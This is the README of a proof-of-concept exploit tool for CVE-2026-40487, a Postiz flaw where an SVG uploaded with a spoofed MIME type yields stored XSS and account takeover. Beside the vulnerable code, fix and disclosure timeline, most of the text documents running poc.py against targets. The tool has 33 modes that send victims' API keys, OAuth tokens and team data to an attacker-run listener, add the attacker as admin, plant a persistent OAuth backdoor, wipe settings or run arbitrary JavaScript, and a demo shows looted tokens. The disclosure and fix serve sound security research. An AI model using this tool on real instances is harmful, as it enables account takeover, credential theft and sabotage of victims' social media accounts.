Files
astaruf-cve-2026-40487/README.md
T
Lorenzo Anastasi cf4fba64b2 Update README.md
2026-04-22 21:37:23 +02:00

13 KiB

CVE-2026-40487 - Postiz <= 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover

Discovered & reported by: Astaruf

Full writeup: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA entry: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-40487


Summary

Postiz is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.

A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed Content-Type: image/png header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (image/svg+xml). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker full session riding capabilities equivalent to account takeover.

The attack chain:

Attacker uploads .svg with Content-Type: image/png
  -> Server validates only the Content-Type header (CWE-345)
    -> File saved to disk with original .svg extension (CWE-434)
      -> nginx serves it as image/svg+xml
        -> Browser executes embedded JavaScript (CWE-79)
          -> Same-origin: full access to victim's session

Impact

The XSS payload executes same-origin with the application. Even though the auth cookie is HttpOnly, fetch() with credentials: "include" automatically attaches it. The attacker can:

  • Exfiltrate the victim's profile, API keys, OAuth tokens for all connected social accounts
  • Read, create, modify, and delete scheduled posts across all platforms
  • Invite the attacker as admin in the victim's organization
  • Create a persistent OAuth backdoor (pos_* token that never expires and survives password changes)
  • Disable notifications, wipe configurations, force logout
  • Execute arbitrary authenticated API calls as the victim

Vulnerability Details

Three components fail independently, creating the exploit chain:

1. MIME-Type Validation Trusts Client Input (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype comes from the Content-Type header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like file-type.

2. Original Extension Preserved on Disk (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.

3. nginx Serves with Extension-Derived Content-Type

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx maps .svg to image/svg+xml, .html to text/html. No Content-Security-Policy, no X-Content-Type-Options: nosniff, no Content-Disposition: attachment.

Proof of Concept

Requirements

Python 3.8+
pip install requests

Quick Start

# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e attacker@evil.com -p password --check

# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
    --lhost YOUR_IP -a full-dump

# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Attack Flow

Attacker                    Server Postiz              Victim
    |                              |                        |
    |-- 1. Login/Register -------->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Send URL to victim --------------------------->  |
    |                              |<--- 4. Opens URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS executes, exfils data -----------|

All Attack Modes (33)

Exfiltration (19 modes) - steal victim data
Mode Description
dump-self Victim profile, org info, tier, API key
dump-personal Display name, bio, profile picture
dump-integrations Connected social media integrations and tokens
dump-posts Scheduled and draft posts (last 365 days)
dump-team Team members, roles, and email addresses
dump-media Media library listing
dump-notifications Notification history
dump-signatures Post signatures
dump-webhooks Configured webhooks and their URLs
dump-oauth-app OAuth app credentials (clientId, secret)
dump-copilot AI copilot conversation threads
dump-billing Billing and subscription info
dump-settings Shortlink and notification settings
dump-third-party Third-party integration configs
dump-autopost Autopost rules
dump-sets Content sets
dump-tags Post tags
dump-customers Customer list
full-dump All of the above in a single payload
Privilege Escalation (3 modes)
Mode Description
add-admin Invite attacker as ADMIN in victim's org (--attacker-email)
rotate-key Rotate org API key and exfiltrate it
rotate-oauth Rotate OAuth app secret and exfiltrate it
Sabotage (9 modes) - destructive actions
Mode Description
kill-notifications Disable all email notifications
edit-profile Modify victim's name and bio (--edit-name, --edit-bio)
wipe-signatures Delete all post signatures
wipe-webhooks Delete all webhooks
wipe-tags Delete all tags
wipe-sets Delete all content sets
wipe-autopost Delete all autopost rules
logout-victim Force-logout the victim
delete-oauth-app Delete victim's OAuth application
Backdoor (2 modes) - persistent access
Mode Description
create-oauth-app Create OAuth app, auto-approve, exfiltrate persistent pos_* token (--oauth-redirect)
steal-cookie Steal auth JWT via document.cookie (when NOT_SECURED=true)
Generic (2 modes) - advanced
Mode Description
api-call Arbitrary authenticated API call (--api-method, --api-path, --api-body)
custom Execute arbitrary JavaScript (--custom-js)

Additional Options

Option Description
--check Probe if the target is vulnerable (no attack executed)
--register Register a new account before login
-t / --token Use API key or pos_* token instead of credentials
--format html Use HTML payload instead of SVG
--proxy Route traffic through HTTP/SOCKS proxy (e.g. Burp Suite)
-o / --output Save loot to JSON file

Demo

$ python3 poc.py http://target:5000 -e attacker@evil.com -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload

[*] Logging in as attacker@evil.com ...
[+] Authenticated.
[*] Generating payload: Exfiltrate everything in a single payload
[*] Uploading malicious .svg with Content-Type: image/png ...
[+] Upload successful.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Starting exfiltration listener on 0.0.0.0:8888 ...

=================================================================
  Send this URL to the victim:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Waiting for victim to open the link ...

[+] Loot received @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"victim@company.com","orgId":"...","publicApi":"bd332945..."}

[+] Loot received @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Loot received @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"admin@company.com","role":"SUPERADMIN"}]
    ...

Fix

Version 2.21.6 introduced three changes:

  1. Magic byte validation using the file-type library to inspect actual file content
  2. Explicit MIME type allowlist (no more image/* catch-all)
  3. Extension override based on detected content type

Timeline

Date Event
2026-04-10 Vulnerability discovered during source code review
2026-04-10 Reported via GitHub Security Advisory (GHSA)
2026-04-10 Developers acknowledged and requested clarification
2026-04-10 Detailed attack scenarios and Shodan data provided
2026-04-11 CVSS dispute submitted with evidence
2026-04-13 Fix released in v2.21.6
2026-04-14 CVE-2026-40487 assigned
2026-04-15 Public disclosure

References

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Use it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

License

MIT